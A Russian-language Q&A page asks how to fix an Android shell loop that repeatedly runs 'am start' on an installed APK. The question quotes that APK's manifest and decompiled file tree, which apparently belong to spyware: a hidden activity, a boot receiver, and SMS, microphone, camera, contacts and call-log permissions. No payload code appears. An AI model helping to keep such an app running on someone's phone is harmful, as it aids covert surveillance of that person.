Как исправить ошибку "Не найдено" при вызове сценария Android - PullRequest
0 голосов
/ 06 мая 2020

Я совершенно новичок ie в среде разработки android. Однако я хотел бы создать скрипт, который автоматически запускает определенный c APK-файл, уже установленный на телефоне. Вот сценарий, который я пытался использовать

#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.uujycswhnc.hwbjjbbkqt/.MainActivity
sleep 10
done

Я написал этот сценарий на основе MANIFEST. XML APK. Вот это

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.uujycswhnc.hwbjjbbkqt" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-feature android:name="android.hardware.camera"/>
    <uses-feature android:name="android.hardware.camera.autofocus"/>
    <uses-feature android:name="android.hardware.microphone"/>
    <application android:icon="@drawable/main_icon" android:label="@string/app_name">
        <activity android:label="@string/app_name" android:name=".MainActivity" android:theme="@android:style/Theme.NoDisplay">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
            <intent-filter>
                <data android:host="my_host" android:scheme="jgasfjfffd"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <action android:name="android.intent.action.VIEW"/>
            </intent-filter>
        </activity>
        <receiver android:label="MainBroadcastReceiver" android:name=".MainBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <service android:exported="true" android:name=".MainService"/>
    </application>
</manifest>

Ниже я также включил древовидную структуру, в которой хранится MainActivity

original
│   ├── AndroidManifest.xml
│   └── META-INF
│       ├── ANDROIDD.RSA
│       ├── ANDROIDD.SF
│       └── MANIFEST.MF
├── res
│   ├── drawable
│   │   └── main_icon.png
│   └── values
│       ├── public.xml
│       └── strings.xml
└── smali
    └── com
        └── uujycswhnc
            └── hwbjjbbkqt
                ├── a.smali
                ├── b.smali
                ├── c.smali
                ├── d.smali
                ├── dxxihtyzhd.smali
                ├── e.smali
                ├── f.smali
                ├── g.smali
                ├── MainActivity.smali
                ├── MainBroadcastReceiver.smali
                └── MainService.smali

Когда я выполняю сценарий оболочки, я получаю эту ошибку

Error: Activity class {com.uujycswhnc.hwbjjbbkqt/com.uujycswhnc.hwbjjbbkqt.MainActivity} does not exist.

Как исправить скрипт?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...